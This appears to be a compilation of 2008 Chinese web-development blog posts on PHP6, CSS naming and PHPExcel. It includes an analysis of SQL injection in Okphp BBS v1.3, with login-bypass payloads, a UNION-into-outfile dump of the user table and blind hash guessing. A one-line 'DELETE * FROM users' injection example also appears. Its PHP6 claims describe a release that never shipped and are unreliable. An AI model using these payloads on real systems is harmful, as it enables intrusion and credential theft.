php6介绍和php6安装手册-PHP6下载

 
PHP6安装手册:
 
第一步:将apache安装到c:/apache下,装完后可在浏览器中输入 http://localhost 查看是否成功运行了!如果运行错误,80%以上的可能是由于端口问题,请修改c:/apache/conf/httpd.conf中的Listen和ServerName这2个配置为其他未占用的端口!
 
第二步:将php6解包到c:/php下,然后将c:/php/php.ini-recommended 复制成 c:/php/php.ini ,或者直接改名也可!然后请正确配置php.ini,尤其要注意extension_dir参数,将其改为 “c:/php/ext/”。
 
第三步:配置c:/apache/conf/httpd.conf。在文件最后加上以下内容:
LoadFile “c:/php/libmysql.dll”
LoadModule php5_module “c:/php/php6apache2_2.dll”
AddType application/x-httpd-php .php
PHPIniDir “C:/php”
其中要注意的是LoadModule参数中应该是 php5_module 而不是 php6_module。
LoadFile “c:/php/libmysql.dll” 的目的是为了让PHP支持php_mysql.dll扩展
最后保存,重起APACHE就可以运行PHP了!
 
PHP6介绍:
去年在巴黎举行的PHP开发者大会中,PHP6开发的消息开始流传开来,于PHP大会讨论的PHP6,将有很大幅度的变化,但这只是草案阶段,并不代表所有会议的机率都会随着PHP6的发布而包含记录中所有的变更也就是说,在发布PHP6之前,还是会有异动的情形,但是可以确定的是下面所列的数项变化,将会随着PHP6一同面世(当然不是百分百乐,)
赶快来看看这些新特性吧:
 
1.支持Unicode
支持Unicode是有其必然,虽然Unicode占用较多的空间,但Unicode带来的便利性,远超过占用空间的缺点,尤其在国际化的今天,硬件设备越来越强大,网速也大幅度的提升,这么一点小小的缺点是可以忽略的。另外一点,PHP也可以在.ini文件中设定是否开启支持Unicode,决定权在你自己,这是一个不错的点子,关掉Unicode的支持,PHP的性能并不会有大幅度的提升,主要的影响在于需要引用字符串的函数。
 
2.Register Globals 将被移除
这是一个重要的决定,说多新进的PHP开发者会觉得Register Globals满方便的,但是却忽略了Register Globals会带来程序上安全性的隐患,大多数的主机上此项功能是关闭的,印象中从PHP4.3.x版开始时,此项默认设置值即是关闭状态,PHP6正式移除Register Globals也代表着如果程序是由PHP3时代的产物,将完全无法使用,除了改写一途外,别无他法。相信现在的PHP世界里,仍使用PHP3时代所产生的程序应该是少之又少。
 
3.Magic Quotes 将消失
Magic Quotes主要是自动转义需要转义的字符,此项功能移除叶符合大多数PHP开发者的心声。
 
4.Safe Mode 取消
老实说,这个模式不知道哪里不好,取消就取消吧,反正也用不到
 
5.’var’ 别名为 ‘public’
在类中的var声明变成public的别名,相信是为了兼容PHP5而作的决定,PHP6现在也可以称作为OO语言了。
 
6.通过引用返回将出错
现在透过引用返回编译器将会报错 例如$a =& new b()、function &c(),OO语言默认就是引用,所以不需要再使用&了。
 
7.zend.ze1 compatbility mode 将被移去
Zend.ze1相容模式将被移去,PHP5是为兼容旧有PHP4,所以在.ini中可选择是否开启相容模式,原因在于PHP5使用的是第二代解析引擎,但是相容模式并不是百分之百能解析PHP4语法,所以旧时代的产物,移除。
 
8.Freetype 1 and GD 1 support 将不见
这两个是很久的Libs,所以不再支持,GD1早已被现在的GD2取代了。
 
9.dl() 被移到 SAPI 中
dl()主要是让设计师加载extension Libs,现在被移到 SAPI 中
 
10.Register Long Array 去除
从PHP5起默认是关闭,再PHP6中正式移除。
 
11.一些Extension的变更
例如 XMLReader 和 XMLWriter 将不再是以Extension的方式出现,他们将被移入到PHP的核心之中,并且默认是开启,ereg extension将被放入PECL,代表着它将被移出PHP核心,这也是为了让路给新的正则表达式extension,此外,Fileinfo extension 也将被导入PHP的核心之中。
 
12.APC将被导入核心
这是一个提高PHP性能的功能,现在它将被放入PHP核心中,并且可以选择是否启用APC
 
13.告别ASP风格的起始标签
原来是为了取悦ASP开发者转向使用PHP,现今已经不再需要这种做法了,最后,别期望PHP6的性能可以全面超过PHP5,有可能的是PHP6的执行效率会比PHP5还要来的慢的,但是可以预期的是,PHP开发小组将会努力的完善PHP5,超
越PHP5。
那么,对PHP6有兴趣的朋友现在可以到PHP官方网站上下载,试试这些功能是否真的已经
在PHP6中体现出来了,下载地址http://snaps.php.net/

mysql_query函数只能执行一条SQL语句

        这里做一下笔记,这说明MYSQL+PHP的安全性很高的。

 

###The reason that multiple queries are not supported is to help prevent exploits.###

 

For example, the user could enter something like:

 

  “; DELETE * FROM users;

 

in the name field of a form, which would erase everything in the table when the query is executed.

By allowing mysql_query to support only single commands, this hole is closed.



Modified At 2008-06-08 13:20:46

Class与ID的区别

 
一个Class是用来根据用户定义的标准对一个或多个元素进行定义的。打个比较恰当的比方就是剧本:一个Class可以定义剧本中每个人物的故事线,你可以通过CSS,Javascript等来使用这个类。因此你可以在一个页面上使用class=”Frodo” ,class=”Gandalf”, class=”Aragorn”来区分不同的故事线。还有一点非常重要的是你可以在一个文档中使用任意次数的Class。
  
至于 ID,通常用于定义页面上一个仅出现一次的标记。在对页面排版进行结构化布局时(比如说通常一个页面都是由一个页眉,一个报头< masthead>,一个内容区域和一个页脚等组成),一般使用ID比较理想,因为一个ID在一个文档中只能被使用一次。而这些元素在同一页面中很少会出现大于一次的情况。
  
归纳成一句话就是:Class可以反复使用而ID在一个页面中仅能被使用一次。有可能在很大部分浏览器中反复使用同一个ID不会出现问题,但在标准上这绝对是错误的使用,而且很可能导致某些浏览器的现实问题。(刚才在Dreamweaver中试了一下,确实,并没有出错)
  
在实际应用的时候,Class可能对文字的排版等比较有用,而ID则对宏观布局和设计放置各种元素较有用。

常用的DIV+CSS命名规则

 
头:header
内容:content/container
尾:footer
导航:nav
侧栏:sidebar
栏目:column
页面外围控制整体布局宽度:wrapper
左右中:left right center
登录条:loginbar
标志:logo
广告:banner
页面主体:main
热点:hot
新闻:news
下载:download
子导航:subnav
菜单:menu
子菜单:submenu
搜索:search
友情链接:friendlink
页脚:footer
版权:copyright
滚动:scroll
内容:content
标签页:tab
文章列表:list
提示信息:msg
小技巧:tips
栏目标题:title
加入:joinus
指南:guild
服务:service
注册:regsiter
状态:status
投票:vote
合作伙伴:partner
(二)注释的写法:
/* Footer */
内容区
/* End Footer */
(三)id的命名:
(1)页面结构
容器: container
页头:header
内容:content/container
页面主体:main
页尾:footer
导航:nav
侧栏:sidebar
栏目:column
页面外围控制整体布局宽度:wrapper
左右中:left right center
(2)导航
导航:nav
主导航:mainbav
子导航:subnav
顶导航:topnav
边导航:sidebar
左导航:leftsidebar
右导航:rightsidebar
菜单:menu
子菜单:submenu
标题: title
摘要: summary
(3)功能
标志:logo
广告:banner
登陆:login
登录条:loginbar
注册:regsiter
搜索:search
功能区:shop
标题:title
加入:joinus
状态:status
按钮:btn
滚动:scroll
标签页:tab
文章列表:list
提示信息:msg
当前的: current
小技巧:tips
图标: icon
注释:note
指南:guild
服务:service
热点:hot
新闻:news
下载:download
投票:vote
合作伙伴:partner
友情链接:link
版权:copyright
(四)class的命名:
(1)颜色:使用颜色的名称或者16进制代码,如
.red { color: red; }
.f60 { color: #f60; }
.ff8600 { color: #ff8600; }
(2)字体大小,直接使用”font+字体大小”作为名称,如
.font12px { font-size: 12px; }
.font9pt {font-size: 9pt; }
(3)对齐样式,使用对齐目标的英文名称,如
.left { float:left; }
.bottom { float:bottom; }
(4)标题栏样式,使用”类别+功能”的方式命名,如
.barnews { }
.barproduct { }
注意事项:
1.一律小写;
2.尽量用英文;
3.不加中杠和下划线;
4.尽量不缩写,除非一看就明白的单词.
主要的 master.css
模块 module.css
基本共用 base.css
布局,版面 layout.css
主题 themes.css
专栏 columns.css
文字 font.css
表单 forms.css
补丁 mend.css
打印 print.css

自己动手编写简单远程控制

最近大大小小的考试陆续来到,每个人都忙的无暇估计其他,当然也包括兄弟俺。一系列考试复习就够让人头疼了,麻烦的是还有4个VC的课程设计(3个帮其他人做的),害俺不得不把出版社的稿子一拖再拖。

8号终于考试完了,从8号到10号晚上连续通宵了三天,11号晚上休息了一次,今天(12号)晚上又来通宵了,一直在赶出版社的稿子,今晚估计就能搞定了。

博客前段时间换了空间,已经好久没更新了,这期也没空给黑防写稿子了,好忙。刚刚又到新浪体育上看了下,结果不出以外地看到国家队和国奥队双双惨败,一个0:4,一个2:7,真够丢人的,唉。

看完新闻后也不知道有什么事情好做,就写篇文章吧,既然不能花太多时间来写。想想在VC课程设计中我选的题目是做一个简单的远程控制软件,只要实现客户端与服务端的连接和发送信息,并控制服务端实现鼠标控制、关机重启、屏幕截取等简单功能就可以了。

今天就把我做的过程写下来吧,给新手一些参考,软件是VC6.0,建立的是MFC工程,通信和线程等功能实现均直接调用API,对控件的处理使用了相关类。

首先讲一下两方的通信过程:服务端启动后就进行监听,客户端主动连接服务端,连接成功后为其建立一个线程接收控制命令并进行处理。

下面讲解客户端的实现。
客户端的功能其实很简单,只要连接上服务端后就基本什么不用做了,当用户点击“发送控制”按钮后根据控制选项构造不同的命令进行发送。
下面是连接服务端的代码:

 



 

下面是“发送控制”按钮的响应函数,本示例程序中只有三种基本功能:信息发送(使对方弹出一个对话框,显示您所发送过去的信息)、系统控制(包括关机、重启、截获屏幕、弹出/关闭光驱5个子功能)、鼠标控制(包括随机移动、禁用输入、交换左右键3个子功能)。我使用了三个单选框来确定是哪类基本类型的控制,下拉框来进行子功能选择。因此每次控制要发送两次控制,第一次确定基本功能,第二次确定子功能。

 



 

下面再贴一段如何使服务端截获到的屏幕图像显示在picture控件中,因为时间比较紧张,我没有把图像传输这一块儿做好,就给偷了个懒,服务端截获到屏幕后直接保存在C盘根目录下,而控制端直接到该位置读取,哈哈,专门跟老师说了下,老师考虑到时间限制就放我了一马,其实就是用某些编码算法将图片压缩一下就可以了,例如JPEG,懒得弄了。

 



 

下面来看服务端,老规矩,先来看监听的函数。

 



 

接下来就是三个处理函数了,全部贴出来。注意这几个函数都要定义成全局的,不要定义成类的成员函数,那样的话在线程函数里面访问不到。

 




最后把一些函数的详细过程贴出来。

 


复制到剪贴板代码

 
<script type=”text/javascript”>
<!–
function copyToClipboard(txt)
{
 if(window.clipboardData)
 {
  window.clipboardData.clearData();
  window.clipboardData.setData(“Text”, txt);
  alert(“复制成功!”);
 }
 else if(navigator.userAgent.indexOf(“Opera”) != -1)
 {
  window.location = txt;
 }
 else if(window.netscape)
 {
  try
  {
   netscape.security.PrivilegeManager.enablePrivilege(“UniversalXPConnect”);
  }
  catch(e)
  {
   alert(“被浏览器拒绝!\n请在浏览器地址栏输入’about:config’并回车\n然后将’signed.applets.codebase_principal_support’设置为’true'”);
  }
  var clip = Components.classes[‘@mozilla.org/widget/clipboard;1’].createInstance(Components.interfaces.nsIClipboard);
  if (!clip)
  return;
  var trans = Components.classes[‘@mozilla.org/widget/transferable;1’].createInstance(Components.interfaces.nsITransferable);
  if (!trans)
  return;
  trans.addDataFlavor(‘text/unicode’);
  var str = new Object();
  var len = new Object();
  var str = Components.classes[“@mozilla.org/supports-string;1”].createInstance(Components.interfaces.nsISupportsString);
  var copytext = txt;
  str.data = copytext;
  trans.setTransferData(“text/unicode”,str,copytext.length*2);
  var clipid = Components.interfaces.nsIClipboard;
  if (!clip)
  return false;
  clip.setData(trans,null,clipid.kGlobalClipboard);
  alert(“复制成功!”);
 }
}
//–>
</script>
其实不用这么麻烦的
window.clipboardData.setData(‘text’, this.innerText);
就可以了
 

一句话让iframe自适应高度

在要自适应的“IFRAME”中加入:
onload=”this.height = document.frames(‘IFRAME_name’).document.body.scrollHeight;”
例:
<IFRAME name=”main” src=”” frameBorder=0 width=”580″ height=”300″ ōnload=”this.height = document.frames(‘main’).document.body.scrollHeight;”></IFRAME>

PHPExcel常用方法汇总

来源:http://blog.csdn.net/zeali/archive/2008/02/27/2124984.aspx
PHPExcel 是相当强大的 MS Office Excel 文档生成类库,当需要输出比较复杂格式数据的时候,PHPExcel 是个不错的选择。不过其使用方法相对来说也就有些繁琐。列举以记之。
 
[language=PHP]
<?  
//设置PHPExcel类库的include path  
set_include_path(‘.’. PATH_SEPARATOR .  
                 ‘D:\Zeal\PHP_LIBS’ . PATH_SEPARATOR .  
                 get_include_path());  
 
/** 
 * 以下是使用示例,对于以 //// 开头的行是不同的可选方式,请根据实际需要 
 * 打开对应行的注释。 
 * 如果使用 Excel5 ,输出的内容应该是GBK编码。 
 */ 
require_once ‘PHPExcel.php’;  
 
// uncomment  
////require_once ‘PHPExcel/Writer/Excel5.php’;    // 用于其他低版本xls  
// or  
////require_once ‘PHPExcel/Writer/Excel2007.php’; // 用于 excel-2007 格式  
 
// 创建一个处理对象实例  
$objExcel = new PHPExcel();  
 
// 创建文件格式写入对象实例, uncomment  
////$objWriter = new PHPExcel_Writer_Excel5($objExcel);    // 用于其他版本格式  
// or  
////$objWriter = new PHPExcel_Writer_Excel2007($objExcel); // 用于 2007 格式  
//$objWriter->setOffice2003Compatibility(true);  
 
//*************************************  
//设置文档基本属性  
$objProps = $objExcel->getProperties();  
$objProps->setCreator(“Zeal Li”);  
$objProps->setLastModifiedBy(“Zeal Li”);  
$objProps->setTitle(“Office XLS Test Document”);  
$objProps->setSubject(“Office XLS Test Document, Demo”);  
$objProps->setDescription(“Test document, generated by PHPExcel.”);  
$objProps->setKeywords(“office excel PHPExcel”);  
$objProps->setCategory(“Test”);  
 
//*************************************  
//设置当前的sheet索引,用于后续的内容操作。  
//一般只有在使用多个sheet的时候才需要显示调用。  
//缺省情况下,PHPExcel会自动创建第一个sheet被设置SheetIndex=0  
$objExcel->setActiveSheetIndex(0);  
 
 
$objActSheet = $objExcel->getActiveSheet();  
 
//设置当前活动sheet的名称  
$objActSheet->setTitle(‘测试Sheet’);  
 
//*************************************  
//设置单元格内容  
//  
//由PHPExcel根据传入内容自动判断单元格内容类型  
$objActSheet->setCellValue(‘A1’, ‘字符串内容’);  // 字符串内容  
$objActSheet->setCellValue(‘A2’, 26);            // 数值  
$objActSheet->setCellValue(‘A3’, true);          // 布尔值  
$objActSheet->setCellValue(‘A4’, ‘=SUM(A2:A2)’); // 公式  
 
//显式指定内容类型  
$objActSheet->setCellValueExplicit(‘A5’, ‘847475847857487584’,   
                                   PHPExcel_Cell_DataType::TYPE_STRING);  
 
//合并单元格  
$objActSheet->mergeCells(‘B1:C22’);  
 
//分离单元格  
$objActSheet->unmergeCells(‘B1:C22’);  
 
//*************************************  
//设置单元格样式  
//  
 
//设置宽度  
$objActSheet->getColumnDimension(‘B’)->setAutoSize(true);  
$objActSheet->getColumnDimension(‘A’)->setWidth(30);  
 
$objStyleA5 = $objActSheet->getStyle(‘A5’);  
 
//设置单元格内容的数字格式。  
//  
//如果使用了 PHPExcel_Writer_Excel5 来生成内容的话,  
//这里需要注意,在 PHPExcel_Style_NumberFormat 类的 const 变量定义的  
//各种自定义格式化方式中,其它类型都可以正常使用,但当setFormatCode  
//为 FORMAT_NUMBER 的时候,实际出来的效果被没有把格式设置为”0″。需要  
//修改 PHPExcel_Writer_Excel5_Format 类源代码中的 getXf($style) 方法,  
//在 if ($this->_BIFF_version == 0x0500) { (第363行附近)前面增加一  
//行代码:   
//if($ifmt === ‘0’) $ifmt = 1;  
//  
//设置格式为PHPExcel_Style_NumberFormat::FORMAT_NUMBER,避免某些大数字  
//被使用科学记数方式显示,配合下面的 setAutoSize 方法可以让每一行的内容  
//都按原始内容全部显示出来。  
$objStyleA5 
    ->getNumberFormat()  
    ->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);  
 
//设置字体  
$objFontA5 = $objStyleA5->getFont();  
$objFontA5->setName(‘Courier New’);  
$objFontA5->setSize(10);  
$objFontA5->setBold(true);  
$objFontA5->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE);  
$objFontA5->getColor()->setARGB(‘FF999999’);  
 
//设置对齐方式  
$objAlignA5 = $objStyleA5->getAlignment();  
$objAlignA5->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);  
$objAlignA5->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);  
 
//设置边框  
$objBorderA5 = $objStyleA5->getBorders();  
$objBorderA5->getTop()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getTop()->getColor()->setARGB(‘FFFF0000’); // color  
$objBorderA5->getBottom()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getLeft()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getRight()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
 
//设置填充颜色  
$objFillA5 = $objStyleA5->getFill();  
$objFillA5->setFillType(PHPExcel_Style_Fill::FILL_SOLID);  
$objFillA5->getStartColor()->setARGB(‘FFEEEEEE’);  
 
//从指定的单元格复制样式信息.  
$objActSheet->duplicateStyle($objStyleA5, ‘B1:C22’);  
 
 
//*************************************  
//添加图片  
$objDrawing = new PHPExcel_Worksheet_Drawing();  
$objDrawing->setName(‘ZealImg’);  
$objDrawing->setDescription(‘Image inserted by Zeal’);  
$objDrawing->setPath(‘./zeali.net.logo.gif’);  
$objDrawing->setHeight(36);  
$objDrawing->setCoordinates(‘C23’);  
$objDrawing->setOffsetX(10);  
$objDrawing->setRotation(15);  
$objDrawing->getShadow()->setVisible(true);  
$objDrawing->getShadow()->setDirection(36);  
$objDrawing->setWorksheet($objActSheet);  
 
 
//添加一个新的worksheet  
$objExcel->createSheet();  
$objExcel->getSheet(1)->setTitle(‘测试2’);  
 
//保护单元格  
$objExcel->getSheet(1)->getProtection()->setSheet(true);  
$objExcel->getSheet(1)->protectCells(‘A1:C22’, ‘PHPExcel’);  
 
 
//*************************************  
//输出内容  
//  
$outputFileName = “output.xls”;  
//到文件  
////$objWriter->save($outputFileName);  
//or  
//到浏览器  
////header(“Content-Type: application/force-download”);  
////header(“Content-Type: application/octet-stream”);  
////header(“Content-Type: application/download”);  
////header(‘Content-Disposition:inline;filename=”‘.$outputFileName.'”‘);  
////header(“Content-Transfer-Encoding: binary”);  
////header(“Expires: Mon, 26 Jul 1997 05:00:00 GMT”);  
////header(“Last-Modified: ” . gmdate(“D, d M Y H:i:s”) . ” GMT”);  
////header(“Cache-Control: must-revalidate, post-check=0, pre-check=0”);  
////header(“Pragma: no-cache”);  
////$objWriter->save(‘php://output’);  
 
?>
[/language]

php+mysql注射语句构造


 

 

作者:特洛伊剑客’s Blog


一.前言:

测试版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的”漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 

二.”漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

 

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username=’$username’ and password=’$password’这样的语句改造的方法有:

构造1(利用逻辑运算):$username=’ OR ‘a’=’a $password=’ OR ‘a’=’a

相当于sql语句:

select * from $user_table where username=” OR ‘a’=’a’ and password=” OR ‘a’=’a’
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin’#(或admin’/*)
即:

select * from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select * from $user_table where username=’admin’
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造

 

2:

select id,group_id from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select id,group_id from $user_table where username=’admin’
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=’ OR id=1#
相当于:

select id,group_id from $user_table where username=” OR id=1# and password=’$password'(#后的被注释掉)
我们接着往下看代码:

if ($row[0]) {
// If not admin or super moderator
if ($username != “admin” && !eregi(“(^&#124;&)3($&#124;&)”,$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login—————
if (!$login) {
write_log(“Moderator login”,”0″,”password wrong”);
echo “<script>alert(‘login failed!’);history.go(-1);</script>”;
exit();
}
// Access ! ————-
else {
session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

 

3.users/login.php注射导致绕过身份验证漏洞:
代码:

$md5password = md5($password);
$q = “select id,group_id,email from $user_table where username=’$username’ and password=’$md5password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password=’$md5password'”;就绕过啦。

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array(“del_log”,”log_id”,”del_id”);
get_r($arr);
//
if ($del_log) {
省略……..
if ($log_id) {
foreach ($log_id as $val) {
$q = “delete from $log_table where id=’$val'”;
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = “delete from $log_table where id=’$del_id'”;
$res = sql_query($q,$conn);
}
$tpl->setVariable(“message”,”$i log deleted ok!”);
$tpl->setVariable(“action”,”index.php?action=list_log”);
}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

 

4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是”赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

 

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

 

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

 

构造1:利用 select * FROM table INTO OUTFILE ‘/path/file.txt’(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

 

$forum_id=’ union select * from user_table into outfile ‘/path/file.txt’


以下:

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id’ union select * from user_table into outfile ‘/path/file.txt'”;


上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

 

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用”返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

 

问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin’ AND LENGTH(password)=6#
sql语句变成:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6#’ and password=’$password'”
相当于:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6′”
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin’ ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值…………。

 

三.后话:

  这篇文章是在网吧看代码写出来的,只是粗略的看了下代码,文章所提到的”漏洞”都没有经过测试。可能有的”漏洞”根本就不存在,也可能漏掉了不少东西,这些都不是很要紧,因为本文的重要目的是看php+mysql注射时的语句构造,通过本文,可以看出:虽然看起来php好象要比asp安全,不过一但变量没有过滤完全,php的注射要比asp注射更灵活,更多注射方法。 由于作者水平等原因,可能文章不少错误,还请多指点。




Modified At 2008-06-02 23:15:48

获取php.ini设置变量

 ini_get
(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option


说明


string ini_get( string varname )


Returns the value of the configuration option on success.

 

参数
varname
The configuration option name.


返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.

 

范例
例 1. A few ini_get() examples



 

上例的输出类似于:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608